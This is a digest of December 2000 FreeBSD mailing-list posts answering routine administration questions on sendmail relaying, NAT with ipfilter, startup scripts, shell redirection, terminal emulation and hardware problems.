> > works well.  (The logic here is this:  2>&1 says to redirect file handle 2
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> I think it's the other way around (i.e., 2 is stdout and 1 is stderr).

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On Sat, Dec 23, 2000 at 07:58:21PM +0300, Andrey Novikov wrote:
> Hello,
> 
> How can I make 'top' show CPU states of both CPUs instead of
> one?

What are you running? 4.1.1+ already shows the CPU states of multiple
CPUs, eg:

last pid: 11890;  load averages:  2.02,  2.01,  2.00  up 1+20:44:53    11:50:34
56 processes:  3 running, 53 sleeping

Mem: 62M Active, 148M Inact, 27M Wired, 9872K Cache, 35M Buf, 2744K Free
Swap: 900M Total, 900M Free


  PID USERNAME   PRI NICE  SIZE    RES STATE  C   TIME   WCPU    CPU COMMAND
  324 nobody      66   1 14700K 13760K CPU1   1  44.2H 98.88% 98.88% setiathome
  328 nobody      66   1 14700K 13752K RUN    0  44.2H 98.63% 98.63% setiathome
[...]

The 8th column `C' refers to the CPU number.
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On Sat, 23 Dec 2000, Jason Halbert wrote:

> But I digress.  Alas, no my friends arent on the same ISP.  I'm sure
> this wouldn't be hard if there were clear instructions for doing it.
> I just haven't figured out exactly how sendmail does stuff yet.
> 
> So... bring it on.  What do I have to do? =)

Presumably, your friends' ISPs already provide mail relay services for
their dialup.  The easiest course of action is to have each of your users
use their own dial-up provider's mail relay for outgoing SMTP, even if
they use your mail server's POP for incoming mail.  That way, you don't
need to worry about opening yourself up to abuse from anyone else who
shares the same ISPs as your users.

The somewhat harder course of action would be to use SMTP AUTH, which asks
for a login and password before allowing relay, but the end-user's client
has to support it.

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On Sun, Dec 24, 2000 at 08:52:10AM +1030, james wrote:
> Howdy,
> 
> My old Hdd controller died, so I replaced it with a udma one..... which has changed the drive from ad0 to ad4, after much stuffing around, I added ata-2 to the kernel,a nd recompiled, and have also added ad4 and ad5 to /dev - but I still get the following error on boot up;
> 
> ad4:14594MB <ST513320A> [29691/16/63] at ata2-MASTER using DMA66
> Mounting root from ufs:/dev/ad4s1a
> swapon /dev/ad4s1b: No such file or directory
> Automatic boot in progress
> Can't stat /dev/ad4s1a: No such file or directory
> Can't stat /dev/ad4s1a: No such file or directory
> /dev/ad4s1a: CAN'T CHECK FILE SYSTEM
> /dev/ad4s1a: UNEXPECTED INCONSISTANCY; RUN fsck MANUALLY.
> 
> The dead controller is totally disabled in the motherboard bios.... 
> 
> The udma controller is a highpoint/hightech one... I have plugged the drive into other machines, where it identified as ad0, and boots normally (thats how I built the new kernel, and added /dev entries)
> 
> the fstab points to ad4 for the mount points also... and I have searched the mailist list archive - thats how I found out that I should build ata2 ata3 into the kernel (and thats all I could find about my problem)
> 
> Any help that anyone could provide would be gratefully received!

Are you sure that you have all of the devices you need in /dev?

  $ ls -l /dev/*ad4*

If you did,

  # cd /dev
  # ./MAKEDEV ad4 ad5

You would not get all the ones you need.
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The evidence suggests that "Ken Bolingbroke" wrote:

[snip]
> Presumably, your friends' ISPs already provide mail relay services
for
> their dialup.  The easiest course of action is to have each of your
users
> use their own dial-up provider's mail relay for outgoing SMTP, even
if
> they use your mail server's POP for incoming mail.  That way, you
don't
> need to worry about opening yourself up to abuse from anyone else
who
> shares the same ISPs as your users.
>
> The somewhat harder course of action would be to use SMTP AUTH,
which asks
> for a login and password before allowing relay, but the end-user's
client
> has to support it.
>
> Ken

Yes... that is exactly what I would like to do.  I am positive that
all my users are using Windows machines and just about all the Windows
mail readers (Outlook and Outlook Express, most likely) support SMTP
AUTH.  I would even like to go further and use SPA (Secure Password
Authentication) for my SMTP, as well as my POP server, but I don't
know if that is supported by Sendmail.

---
Jason

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The evidence suggests that "Jason Halbert" wrote:

> The evidence suggests that "Ken Bolingbroke" wrote:
>
> [snip]
> > Presumably, your friends' ISPs already provide mail relay services
> for
> > their dialup.  The easiest course of action is to have each of
your
> users
> > use their own dial-up provider's mail relay for outgoing SMTP,
even
> if
> > they use your mail server's POP for incoming mail.  That way, you
> don't
> > need to worry about opening yourself up to abuse from anyone else
> who
> > shares the same ISPs as your users.
> >
> > The somewhat harder course of action would be to use SMTP AUTH,
> which asks
> > for a login and password before allowing relay, but the end-user's
> client
> > has to support it.
> >
> > Ken
>
> Yes... that is exactly what I would like to do.  I am positive that
> all my users are using Windows machines and just about all the
Windows
> mail readers (Outlook and Outlook Express, most likely) support SMTP
> AUTH.  I would even like to go further and use SPA (Secure Password
> Authentication) for my SMTP, as well as my POP server, but I don't
> know if that is supported by Sendmail.
>
> ---
> Jason

As I just tried to send the above message, the reason why I need my
own SMTP server is appearent.  My isp's SMTP server refused to relay
the e-mail because of the sender's e-mail address... mine
(jason@jason-n3xt.org).

I am sorry that this thread has become so long, but there has to be a
way to do what I need to do.  =)  I just need help finding it.

Thanks as always...

---
Jason
jason@jason-n3xt.org




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From: Alfred Perlstein <bright@wintelcom.net>
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* Stan Brown <stanb@awod.com> [001223 13:00] wrote:
> Is there any reason that I should NOT upgrade to a later version of perl, than is
> bundled by default with STABLE?

Is there any reason you need to?

-- 
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> Debbie Machado wrote:
> 
> I noticed Yahoo has you listed as one of their business supporters. I stopped using Yahoo aggressively after I
> realized they support all religions except Christianity. Just try to find a Christmas card about Christ amongst all
> the other religious cards they freely give users access to on their main page for "Christmas".  Since Yahoo refuses to
> acknowledge Christmas as an American Religious Holiday, like the other ones they list, I figured this year I would
> sent out a Christmas card from their service to all my family, friends, business associates, clients, & online news
> media simply explaining what I've observed and how it makes me feel.  I also will list all the sponsors, advertisers,
> & partners as supporters.  You don't need to respond to me. YOU NEED TO REACT TO THEM.  In Him -Debbie

Most of the major web presences don't make Religion an issue. Perhaps you should boycott them all.


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Hi all,

I'm running a database server on an Athlon 700 with 384MB
RAM.  The database has large tables; but none exceed 10 million rows. 
The services most often used are MySQL, PostgreSQL and Apache with PHP. 
The tables are accessed through the network via ODBC drivers.  The box
has 3 slots for RAM, all of which are occupied by a 128MB stick of RAM. 
Now that the price for 256MB sticks have come down, I'm thinking about
adding more RAM.

The question is: How can I tell if adding RAM will be
beneficial?  If the CPU's usage runs at 99% or higher and the RAM usage
is around 80%, does this indicate that
more RAM won't help any due to the CPU's limits?  Does
the usage of swap space indicate that more RAM would
be beneficial?

Any advice would be appreciated.

Thanks; and Happy Holidays,

Andrew Gould


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* Andrew L. Gould <algould@datawok.com> [001223 16:26] wrote:
> Hi all,
> 
> The question is: How can I tell if adding RAM will be
> beneficial?  If the CPU's usage runs at 99% or higher and the RAM usage
> is around 80%, does this indicate that
> more RAM won't help any due to the CPU's limits?  Does
> the usage of swap space indicate that more RAM would
> be beneficial?

Yes, if you're swapping or pounding on your disks, more memory
can help by reducing swapping and keeping more data from disk
in memory.

-- 
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Dear Brigid,

On Thu, Dec 21, 2000 at 01:35:37PM -0800, Brigid Fuller wrote:
> Hi,
> 
> I'm with BSDi's PR agency,  As Jordan is currently unavailable, I'm
> hoping someone else might be able to help.

Yes, of course.  In any way this is possible..

> We have been working with Jason Compton who is writing a story for the
> publicatiion - Smart Business,  on building a  firewall - step by step.
> Jason was shipped a copy of  FreeBSD 4.2, and has possibly received some
> technical support from Chris Kingsley or Seth Shumway per Jordan's
> suggestion.
> 
> My question is...
> 
> Does anyone know of a "humble" enterprise  FreeBSD case study/user that
> relates to this firewall topic?  Someone who has successfully built a
> firewall using FreeBSD?   We would need to make sure that the person/s
> we refer don't mind being contacted by Jason.

I haven't build a solution based on FreeBSD, yet.  I work for a local company
here in Patras, and our firewall is currently a simple set of filters and
access lists on our Cabletron routers.  The FreeBSD box that I work on though
is currently using an ipfilter-based firewall, which is just a second attempt
to block people from accessing the machine; just in case Cabletron ACLs prove
insufficient.

This is barely an enterprise level case-study, but I will be glad to provide
Jason with any information he needs, if I can.

Ciao,
Giorgos.

--
Giorgos Keramidas	    [ keramida @ westgate . gr ]
WestGate, Telematics Center [ http://www.westgate.gr/  ]


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On Wed, Dec 20, 2000 at 07:17:01AM -0800, Jose Montilla wrote:
> Subject: How does one change the hostname ?
> on a FreeBsd OS ?

You only need to update the following entry in your /etc/rc.conf file:

	hostname="hades.hell.gr"

The next time your system boots or comes up from a change to single user mode,
the hostname will have changed.

Oh, and please, do not leave part of the question in the subject of the body
and part of it in the Subject: line.

Ciao,
Giorgos.



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On Wed, Dec 20, 2000 at 12:38:55PM +1000, Doug Young wrote:
> 
> Were you aware where the word "politics" originated ??
> 
> Well firstly there's "poli" which comes from some old greek / roman / latin
> / whatever and means "many" ..... then there's "ticks", which as we all
> know are "bloodsucking parasites" .........ergo ..... policics means "many
> bloodsucking parasites" !!!!!!

Nice.  Really nice!

However, `politikos / politiki' is a word that comes from ancient Greek, and
lives in modern Greek until this day.  It means `of polis', i.e. one that
`belongs to the "polis"', where `polis' is the Greek word for `city'.

Of course a city's parasites, *do* belong to the city; among other things :-)))

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On Tue, Dec 19, 2000 at 05:34:33PM -0600, Carl M. Gregory wrote:
> Little question that is bugging me, I forwarded what I got back from the
> MAILER-DEAMON... it states this
> > >>> MAIL From:<root@purehype.netail.purehype.net>
> now... my MX is mail.purehype.net, in local-host-names I do have
> purehype.net.  This address looks crazy...
...
> >    ----- The following addresses had permanent fatal errors -----
> > basportinc@aol.com
> >     (reason: 550 REQUESTED ACTION NOT TAKEN: DNS FAILURE)

The only logical thing I could think about this is `broken DNS setup'.

Does your name server resolve MX records for your domain correctly.  You
should probably dig around in your zone files and see if there are other
errors there too.

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On Mon, Dec 18, 2000 at 04:26:12PM -0500, Tim McMillen wrote:
> 
> 
> On Mon, 18 Dec 2000, Raymond Hicks wrote:
> 
> > This is not good information..  the best thing to do is NOT to shut down the
> > machine.. you may lose vital info if you have in fact been rooted..   you
> 
> Care to explain that?  How would you lose information by halting the
> machine?  Halting it freezes the information in place and gives you chance
> to do the postmortem analysis with a cleaner slate.

Think of this:

	% cc -o bsdhack bsdhack.c
	% ./bsdhack &
	% rm bsdhack bsdhack.c

When the disk image of the process is removed, the actual data will be marked
as `free' on the disk too, when the process dies.  Then you lost the only
image of the backdoor that you could ever get your hands on, the image running
in system memory.

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On Mon, Dec 18, 2000 at 06:37:58PM +0900, Luke Kearney wrote:
> Hi There,
> Can anyone tell me if tcpserver be used to lockdown a sendmail config.

I am not sure if this can be done.  As far as I know tcpserver has been
designed to work with qmail, and I am not sure it can be used with Sendmail
instead.

> Have a server that I have inherited ( in a manner of speaking ) and it has
> a leaky sendmail config. Basically I have used qmail in the past because of
> it's inherent security but I have to fix this box with sendmail on it and it
> is it a spammers paradise right now.

Then your real problem is not with tcpserver but with spam :-)

> FreeBSD 4.0 running on stock standard Intel platform Sendmail build ESMTP
> Sendmail 8.8.7/8.8.7;

Is there any particular reason that your FreeBSD 4.0 is running 8.8.7 version
of Sendmail?  Unless I am mistaken, the 4.0-RELEASE version of FreeBSD had a
much newer version with the base system.  (I think it was version 8.9.3 that
came with 4.0-RELEASE.)

If there isn't a serious reason why you are using 8.8.7, why don't you try to
upgrade Sendmail instead ?

I know that Sendmail can be used with hosts.allow and hosts.deny files, but
this will not solve your problems with spam.  If you want to do serious
anti-relaying control, I think you need at least version 8.9.3 of Sendmail.

Not that it cannot be done with these earlier versions too, but it is a lot
easier to manage in 8.9.3 or newer.

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On Sun, Dec 17, 2000 at 08:20:40PM +0000, Moses Backman III wrote:
> 
> On 2000.12.18 01:17:02 +0000 Drew Tomlinson wrote:
> > I have added a program to my system and would like it to start
> > automatically upon boot.  I'm sure it's as simple as adding the program
> > name to some startup script but I don't know where that would be.  So
> > what file do I need to modify?
> > 
> > Thanks for your help!
>
> add to /etc/rc before the exit 0 line

You shouldn't modify /etc/rc in any way, other than updating it from the
sources at /usr/src/etc when you installworld.  The proper way of starting
things is:

a) To add the shell code that fires up the program at /etc/rc.local

   This will be run by /etc/rc automatically when everything else has finished.

b) To add a SysV-style script in the /usr/local/etc/rc.d directory called
   `program.sh' and let the system scripts start it with `start' as the first
   command line option at boot time.

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On Sun, Dec 17, 2000 at 08:36:00PM -0500, Otter wrote:
> Some of us don't have /etc/rc.local floating around on our drives. You
> can make scripts that start up as an .sh script in
> /usr/local/etc/rc.d/
>
> -Otter

It does not exist, but the code of /etc/rc will run it if you make one.
From my 4-STABLE /etc directory I can read in /etc/rc:

	if [ -r /etc/rc.local ]; then
		echo -n 'starting local daemons:'
		sh /etc/rc.local
		echo '.'
	fi

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On Mon, Dec 18, 2000 at 04:10:36AM +0000, Aaron Hill wrote:
> Thanks for your prompt reply.
> 
> >I think what you're looking for is something along the lines of:
> >echo "Your name is " $fileone
> 
> 
> I'm afraid that doesn't work. It seems that variable substitution only works 
> to one level - maybe this is for the best too.

You can evaluate expressions once more with `eval'.  If I understood the question correctly,
you have the name of a variable in $name as in:

	$ name=datavar

Then you need to get the contents of that file in $fileone variable:

	$ cat datafile
	piou
	$ datavar=`cat datafile`
	$ echo $datavar
	piou

And you need to use $name as the name of a variable, which will then be
echoed by your script:

	$ echo \$$name
	$datavar

But you need this last expression, i.e. `$datavar', including the dollar sign
to be evaluated:

	$ eval echo \$$name
	piou

The first dollar sign is escaped by the backslash, and what `eval' finally
evaluates is a dollar sign followed by `datafile', the value of $name.

I hope that this helps a bit.

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sounds better the way I heard it even if its not "politically correct" :)
:)  :)

> > Were you aware where the word "politics" originated ??
> >
> > Well firstly there's "poli" which comes from some old greek / roman /
latin
> > / whatever and means "many" ..... then there's "ticks", which as we all
> > know are "bloodsucking parasites" .........ergo ..... politics means
"many
> > bloodsucking parasites" !!!!!!
>
> Nice.  Really nice!
>
> However, `politikos / politiki' is a word that comes from ancient Greek,
and
> lives in modern Greek until this day.  It means `of polis', i.e. one that
> `belongs to the "polis"', where `polis' is the Greek word for `city'.
>
> Of course a city's parasites, *do* belong to the city; among other things
:-)))
>
> - giorgos
>
>



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On Sat, 23 Dec 2000, Jason Halbert wrote:

[snip]
> 
> As I just tried to send the above message, the reason why I need my
> own SMTP server is appearent.  My isp's SMTP server refused to relay
> the e-mail because of the sender's e-mail address... mine
> (jason@jason-n3xt.org).
> 
> I am sorry that this thread has become so long, but there has to be a
> way to do what I need to do.  =)  I just need help finding it.
> 
> Thanks as always...
> 
> ---
> Jason
> jason@jason-n3xt.org

Your ISP probably refused to relay because of a failed reverse DNS
lookup on your domain.

It first asks what is the IP address of "jason-n3xt.org". The answer is
"4.33.96.206".
Then it asks who is "4.33.96.206". Answer: 
"crtntx1-ar3-096-206.ds1.gtei.net". As these do not match they do not
accept mail from you.
 
Output of "host jason-n3xt.org" :

jason-n3xt.org has address 4.33.96.206
jason-n3xt.org mail is handled (pri=1) by jason-n3xt.org

Output of "nslookup 4.33.96.206" :

Server:  parmenides.utp.net
Address:  0.0.0.0

Name:    crtntx1-ar3-096-206.dsl.gtei.net
Address:  4.33.96.206


===Janko van Roosmalen - Vught - Netherlands===



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Hello,

I have aquired an older HP netserver as a toy and was
wondering how good the FreeBSD support is for the hardware. The main thing
I am not sure of is the NetRAID controller. As I have not received this
machine yet, I am not sure of the exact model installed. From the
archives, anything I could dig up was fairly old and stated that support
was not available for NetRAID. Has this changed yet? Looking through lint
provided nothing on the NetRAID cards. And also if this may help with a
clue as to what the server may have for a stock NetRAID, the config is a
dual P133 with 256Mb ram and 6x4.2G scsi drives.

is there anything else I should know about using FreeBSD on these servers?

I am just not familiar with HP hardware, so just want to know what I am
getting myself into :)

Happy Holidays everyone...

Regards,

Bill Desjardins

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The evidence suggests that "Janko van Roosmalen" wrote:

> On Sat, 23 Dec 2000, Jason Halbert wrote:
>
> [snip]
> >
> > As I just tried to send the above message, the reason why I need
my
> > own SMTP server is appearent.  My isp's SMTP server refused to
relay
> > the e-mail because of the sender's e-mail address... mine
> > (jason@jason-n3xt.org).
> >
> > I am sorry that this thread has become so long, but there has to
be a
> > way to do what I need to do.  =)  I just need help finding it.
> >
> > Thanks as always...
> >
> > ---
> > Jason
> > jason@jason-n3xt.org
>
> Your ISP probably refused to relay because of a failed reverse DNS
> lookup on your domain.
>
> It first asks what is the IP address of "jason-n3xt.org". The answer
is
> "4.33.96.206".
> Then it asks who is "4.33.96.206". Answer:
> "crtntx1-ar3-096-206.ds1.gtei.net". As these do not match they do
not
> accept mail from you.
>
> Output of "host jason-n3xt.org" :
>
> jason-n3xt.org has address 4.33.96.206
> jason-n3xt.org mail is handled (pri=1) by jason-n3xt.org
>
> Output of "nslookup 4.33.96.206" :
>
> Server:  parmenides.utp.net
> Address:  0.0.0.0
>
> Name:    crtntx1-ar3-096-206.dsl.gtei.net
> Address:  4.33.96.206
>
>
> ===Janko van Roosmalen - Vught - Netherlands===


Umm.. I already know all this.  I'm the one that set it up.  So what
you're trying to say is that my isp's mail server rejected the e-mail
becuase my ip resolved to my isp's hostname?

That doesn't make sense.  My isp (Verizon Online) won't do r-dns
hosting which is why I need my own SMTP server to work.

It's the easiest way to avoid ALL problems such as this.

---
Jason
jason@jason-n3xt.org




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Hi all

I need a proxy server to handle traffic from multiple machines to the net.
The reason we need one is for IRC DCC's and ICQ :o)

Any help appreciated,

Kathy.

Ps have looked at relay (no man page) and proxy (not much info)




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On Sun, Dec 24, 2000 at 10:53:24AM +0800, Kathy Quinlan wrote:
> Hi all
> 
> I need a proxy server to handle traffic from multiple machines to the net.
> The reason we need one is for IRC DCC's and ICQ :o)

 You can use NAT, natd or ipnat. This isn't a proxy, but it should work
with irc, httpd, ftp, etc., and it's transparent for the client.

To use ipnat, put this in your kernel config and make a new kernel:

----------
options 	IPFILTER
# -- ipmon(8) logging if you want
options 	IPFILTER_LOG
# -- default is pass anything, this reverses it, use with care
#options 	IPFILTER_DEFAULT_BLOCK
----------

Edit /etc/natrules:

----------
map fxp0 10.1.1.0/24 -> 195.228.16.17/32 portmap tcp/udp 1024:65535
map fxp0 10.1.1.0/24 -> 195.228.16.17/32
----------

`fxp0' is the interface name (see ifconfig output) on the internet
`10.1.1.0/24' is the internal network/mask
`195.228.16.17/32' is the IP address/mask from `fxp0'


For ipfilter (ipf) you need a site specific configuration.

You can start with this (/etc/ipf.conf) if you haven't one:

----------
block in log quick from any to any with ipopts
block in log quick proto tcp from any to any with short
pass  in all
pass out all
----------

Start ipfilter:
ipf -E -f /etc/ipf.conf

and after, start ipnat with:
ipnat -f /etc/natrules

List filters and active sessions:
ipnat -ls

See ipf(8), ipnat(1) for more info.

Hope this helps and happy holydays for everyone,

	-Ron


> 
> Any help appreciated,
> 
> Kathy.
> 
> Ps have looked at relay (no man page) and proxy (not much info)
> 
> 
> 
> 
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In October I sought advice from this list on connecting a FreeBSD system
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I looked in faq' searched we site, search linux sites, ran vttest, and can't
seem to get hyperterminal to work on freebsd.

don't know what emulation, what 'TERM' variable, etc

cursor keys don't work, and 'slrn' inverts the screen colors and doesn't
ruren them back

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> I looked in faq' searched we site, search linux sites, ran vttest, and
can't
> seem to get hyperterminal to work on freebsd.
>
> don't know what emulation, what 'TERM' variable, etc
>
> cursor keys don't work, and 'slrn' inverts the screen colors and doesn't
> ruren them back
>
> any suggestions on running a term emulator on microsloft 2k?

The 'telnet' that ships with W2K supports ANSI.
The 'telnet' that ships with W95, W98, WMe supports VT100 and ANSI.

Thus, if you log into your FreeBSD machine using the W2K telnet, you need to
do one of the following to get your terminal set up properly.

If you're running /bin/sh as a shell:

TERM=ansi
export TERM
tset

If you're running /bin/csh as a shell:

setenv TERM ansi
tset

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On 23 Dec 2000 00:10:30 -0500, in sentex.lists.freebsd.questions you =
wrote:

>My NIC card is probed when booting up and correctly identified.  The irq
>is 10 and the address is 280.
>
>My routing table is being configured by the routing deamon - there are
>no static routes in the rc.networks or rc.config file.  How can I get
>rid of the "/" in the second entry?  Is this a problem?  I currently
>can't reach any hosts. "route flush" and "route delete" fail to remove
>the entry.
>
>Routing tables
>
>Internet:
>Destination        Gateway          Flags     Refs     Use     Netif
>Expire
>default            10.32.29.254      UGSc       1        0         ed0
>10.32.29/24        link#1             UC           0        0
>ed0
>10.32.29.254       link#1            UHLW     2        0         ed0
>127.0.0.1          127.0.0.1         UH           0        0         lo0
>
>Then NIC is configured as shown:
>
>ed0: flags=3Dc843<UP,BROADCAST,RUNNING,SIMPLEX,LINK2,MULTICAST> mtu 1500
> inet 10.32.29.40 netmask 0xffffff00 broadcast 10.0.0.0
> ether 00:80:c8:e3:a3:44

The /24 route is correct in that it shows you what is local to your
ethernet. Can you not ping .254 ?


	---Mike
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Hiall,	
	Migrating from Redhat linux to freebsd has found me too lasy to
change shells. Hence I'm happly using tcsh. 

In bash to obtain stderr from a command it's a simply: command 2> filename
however, under tcsh I am lost on how to get stderr alone. I know: command
>& filename will capture both stderr & stdout but how do I redirect stderr
only (preferably without losing stdout ).

Cheers,
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On the same token, I have tried to get a (possibly used) 2.88 MB Floppy
drive for some time. It seems to me that even though all floppy
controllers support these babies, nobody makes them. There are one or two
places  that seem to offer old supplies, but to ridiculous prices. FreeBSD
comes with a bootimage for 2.88 MB drives, so it would be nice to me to
find one of these babies. Has any body had experiences with this?

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> In bash to obtain stderr from a command it's a simply: command 2> filename
> however, under tcsh I am lost on how to get stderr alone. I know: command

RTFM.  Here's the relevant part from tcsh(1):

       The shell  cannot  presently  redirect  diagnostic  output
       without  also redirecting standard output, but `(command >
       output-file)  >&  error-file'  is  often   an   acceptable
       workaround.   Either  output-file  or  error-file  may  be
       `/dev/tty' to send output to the terminal.

Diagnostics output is synonymous with standard error.

Hope this helps

						Dima Dorfman
						dima@unixfreak.org


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uh no.. this isn't postfix here. The r-dns that resolves to my mc record is
oned by my isp and sendmail works fine on my box. I haven't read the
previous emails nor have i been following this thread so i may be repeating
some stuff here. The reason you are getting relaying denied is because
sendmail disables that feature on install. You need to either add the
features:

FEATURE(`relay_based_on_MX')
FEATURE(`access_db')

The above features you will be able to control relaying by adding a type
of host allow/deny to each files.:
/etc/mail/access
/etc/mail/relay-domains

or install smtpauth, which is fully supports by 8.11.1 and is quite nice.

either one once you get them installed properly you will be able to relay
mail off your server.

From: "Janko van Roosmalen" <acs.van.roosmalen@hccnet.nl>



> On Sat, 23 Dec 2000, Jason Halbert wrote:
>
> [snip]
> >
> > As I just tried to send the above message, the reason why I need my
> > own SMTP server is appearent.  My isp's SMTP server refused to relay
> > the e-mail because of the sender's e-mail address... mine
> > (jason@jason-n3xt.org).
> >
> > I am sorry that this thread has become so long, but there has to be a
> > way to do what I need to do.  =)  I just need help finding it.
> >
> > Thanks as always...
> >
> > ---
> > Jason
> > jason@jason-n3xt.org
>
> Your ISP probably refused to relay because of a failed reverse DNS
> lookup on your domain.
>
> It first asks what is the IP address of "jason-n3xt.org". The answer is
> "4.33.96.206".
> Then it asks who is "4.33.96.206". Answer:
> "crtntx1-ar3-096-206.ds1.gtei.net". As these do not match they do not
> accept mail from you.
>
> Output of "host jason-n3xt.org" :
>
> jason-n3xt.org has address 4.33.96.206
> jason-n3xt.org mail is handled (pri=1) by jason-n3xt.org
>
> Output of "nslookup 4.33.96.206" :
>
> Server:  parmenides.utp.net
> Address:  0.0.0.0
>
> Name:    crtntx1-ar3-096-206.dsl.gtei.net
> Address:  4.33.96.206
>
>
> ===Janko van Roosmalen - Vught - Netherlands===
>
>
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Matthew Emmerton wrote:
> > any suggestions on running a term emulator on microsloft 2k?
> 
> The 'telnet' that ships with W2K supports ANSI.
> The 'telnet' that ships with W95, W98, WMe supports VT100 and ANSI.
> 
> Thus, if you log into your FreeBSD machine using the W2K telnet, you need to
> do one of the following to get your terminal set up properly.

Actually the telnet that ships with W2K supports ANSI, VT100, VT51, and VTNT
(VTNT?). Use the 'set TERM foo' command.


Microsoft (R) Windows 2000 (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Client
Telnet Client Build 5.00.99201.1

Escape Character is 'CTRL+]'

Microsoft Telnet> help

Commands may be abbreviated. Supported commands are:

close           close current connection
display         display operating parameters
open            connect to a site
quit            exit telnet
set             set options (type 'set ?' for a list)
status          print status information
unset           unset options (type 'unset ?' for a list)
?/help          print help information
Microsoft Telnet> set ?
NTLM            Turn ON NTLM Authentication.
LOCAL_ECHO      Turn ON LOCAL_ECHO.
TERM x          (where x is ANSI, VT100, VT52, or VTNT)
CRLF            Send both CR and LF

   - Mike
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Hey all,

I was wondering if anyone uses Seejpeg on their 4.2-RELEASE freebsd box.. or
any other program that uses svgalib.

I can't get mine working at all.  I use an Nvidia GeForce 256, and perhaps
it just isn't possible to run svgalib with it.

If you have had success with seejpeg or QuakeForge or anything that uses
svgalib, please let me know.

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confirmed. it's due to the RealTek.

one machine can now reliablly reproduce the power-reset symptoms. it's a
Pentium II, 98M ram. i always put in one ethernet card only. it's a dhcp
client but a nfs server (read-write), so that i can copy a 200M file from
the nfs client (also the dhcp server).

i tried a few DLink ethernet cards, and some no-name ethernet cards. they
all end up being detected as 'rl0' (that's RealTek ethernet card No. 0). i
mounted the nfs share from the nfs client, and start the 'cp'. 2-5 seconds
later, i will see a message on the nfs server:
----------
rl0: no memory for tx list
fatal trap 12: page fault while in kernel mode
fault code = supervisor read, page not present
...
current process = 19 (nfsd)
---------

i changed to a fxp0 (that is Intel Pro 100) and did the same 'cp' a few
times and there was no crash. then i changed back to one of the DLink cards
(keeping everything else unchanged). the nfs server crashed again in the
same way as before.

i also remember that for some 2 weeks in November 2000 this nfs server was
working fine. it was using a 'dc0' .

feel free to ask me for more details.

----- Original Message -----
From: Matt Rudderham <matt@researcher.com>
To: Tobias Roth <roth@iamexwi.unibe.ch>; tanbin <tanbin@empworld.com>
Cc: <freebsd-questions@freebsd.org>
Sent: Thursday, December 07, 2000 21:09
Subject: RE: mysterious power reset


> Also,
> I don't know if this would affect either of you, but this problem has
popped
> up a few times with some RealTek NICs. I had this problem, swapped the NIC
> and my box has now been up over 40 days without a hitch.
> - Matt
>
> >
> > I experienced the very same thing two weeks ago with (then)
> > FreeBSD 4.1 BETA.
> > It could not have been a powerfailure, the monitor hanging on the
> > same outlet
> > still had power.
> >
> > I suspect it is a hardware problem, maybe a bad power supply.
> > Healthd showed,
> > that my power supply indeed delivers very unstable values.
> >
> > If this does not happen again, I am happy. If it does, the first
> > thing I'll
> > do is buy a better power supply.
> >
> > Of course that doesn't help you much, but I wanted you to know
> > that you are
> > not the only one with this problem.
> >
> >
> > cheers, Tobe
> >
> >
> >
> > On Thu, Dec 07, 2000 at 01:00:09PM +0800, tanbin wrote:
> > > Since 3 days ago, our freeBSD box has automatically power-down-then-up
3
> > > times. (This has happend only 3 times, all in the past 3 days.)
> > >
> > > The symptom is neither of a 'reboot' command, nor a power
> > button activation,
> > > but a reset button activation (or someone pressing the power
> > button twice,
> > > or switching off and on the power point on the wall, which are
publicly
> > > accessible). The last 2 times during the boot i saw "... file system
not
> > > cleanly unmounted. rebooting automatically".
> > >
> > > During all these reboots, i did not notice any power failure to
> > my PC or the
> > > office lighting. The freebsd box is in the same room, 20 meters
> > away from
> > > me.
> > >
> > > Is there any software/hardware fault that can trigger a
> > power-reset? How do
> > > I confirm the cause? If it's a disgruntled employee, then how
> > do i track her
> > > down?
> >
> >
> >
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Michael Scheidell wrote:

>any suggestions on running a term emulator on microsloft 2k?

I'm a big fan of puTTY.  Tiny, free, no install required, even runs
from a floppy disk.  Lots of flexibility, good emulation. Does ssh
(definitely 1, maybe 2 now) as well.  Easy to find on the net.

If you don't mind spending money, SecureCRT is the Rolex of Win32
terms, IMHO.  http://www.vandyke.com.

$.02-d



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